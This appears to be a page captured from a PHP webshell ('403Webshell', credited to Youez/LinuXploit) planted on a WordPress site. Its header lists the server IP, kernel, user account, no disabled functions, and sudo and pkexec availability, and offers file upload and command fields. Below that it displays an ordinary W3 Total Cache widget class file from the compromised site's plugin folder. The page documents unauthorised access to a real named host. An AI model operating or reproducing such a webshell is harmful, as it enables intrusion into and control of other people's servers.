403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com/wp-content/plugins/w3-total-cache/Generic_Plugin_WidgetForum.php
<?php
/**
 * File: Generic_Plugin_WidgetForum.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class: Generic_Plugin_WidgetForum
 */
class Generic_Plugin_WidgetForum {
	/**
	 * Config.
	 *
	 * @var Config
	 */
	private $_config = null; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->_config = Dispatcher::config();
	}

	/**
	 * Runs plugin.
	 */
	public function run() {
		if ( Util_Admin::get_current_wp_page() === 'w3tc_dashboard' ) {
			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ) );
		}

		add_action(
			'w3tc_widget_setup',
			array( $this, 'wp_dashboard_setup' )
		);

		add_action(
			'w3tc_network_dashboard_setup',
			array( $this, 'wp_dashboard_setup' )
		);

		if ( is_admin() ) {
			add_action( 'wp_ajax_w3tc_widget_latest_ajax', array( $this, 'action_widget_latest_ajax' ) );
		}
	}

	/**
	 * Dashboard setup action.
	 */
	public function wp_dashboard_setup() {
		Util_Widget::add(
			'w3tc_latest',
			__( 'Discussions', 'w3-total-cache' ),
			array( $this, 'widget_latest' ),
			array( $this, 'widget_latest_control' ),
			'side'
		);
	}

	/**
	 * Returns key for transient cache of "widget latest".
	 */
	public function _widget_latest_cache_key() { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore
		return 'dash_' . md5( 'w3tc_latest' );
	}

	/**
	 * Prints latest widget contents.
	 */
	public function widget_latest() {
		$output = get_transient( $this->_widget_latest_cache_key() );

		if ( false !== $output ) {
			echo wp_kses(
				$output,
				array(
					'a'  => array(
						'href'   => array(),
						'target' => array(),
					),
					'h4' => array(),
					'p'  => array(
						'style' => array(),
					),
				)
			);
		} else {
			include W3TC_INC_DIR . '/widget/latest.php';
		}
	}

	/**
	 * AJAX handler for the latest widget feed.
	 */
	public function action_widget_latest_ajax() {
		if ( ! \current_user_can( 'manage_options' ) ) {
			\wp_die( -1, '', array( 'response' => 403 ) );
		}

		if ( ! Util_Nonce::verify_admin( Util_Nonce::admin_action( 'w3tc_widget_latest_ajax' ) ) ) {
			\wp_die( -1, '', array( 'response' => 403 ) );
		}

		$items       = array();
		$items_count = $this->_config->get_integer( 'widget.latest.items' );

		include_once ABSPATH . WPINC . '/feed.php';
		$feed = fetch_feed( W3TC_FEED_URL );

		if ( ! is_wp_error( $feed ) ) {
			$feed_items = $feed->get_items( 0, $items_count );

			foreach ( $feed_items as $feed_item ) {
				$items[] = array(
					'link'  => $feed_item->get_link(),
					'title' => htmlspecialchars_decode( $feed_item->get_title() ),
				);
			}
		}

		ob_start();
		include W3TC_INC_DIR . '/widget/latest_ajax.php';

		set_transient( $this->_widget_latest_cache_key(), ob_get_flush(), 43200 );
		die();
	}

	/**
	 * Latest widget control
	 *
	 * @param integer $widget_id   Widget id.
	 * @param array   $form_inputs Form inputs.
	 */
	public function widget_latest_control( $widget_id, $form_inputs = array() ) {
		if ( 'POST' === ( isset( $_SERVER['REQUEST_METHOD'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_METHOD'] ) ) : '' ) ) {
			$this->_config->set( 'widget.latest.items', Util_Request::get_integer( 'w3tc_widget_latest_items', 3 ) );
			$this->_config->save();
			delete_transient( $this->_widget_latest_cache_key() );
		}
		include W3TC_INC_DIR . '/widget/latest_control.php';
	}

	/**
	 * Enqueue scripts and styles.
	 */
	public function enqueue() {
		wp_enqueue_style( 'w3tc-widget' );
		wp_enqueue_script( 'w3tc-metadata' );
		wp_enqueue_script( 'w3tc-widget' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit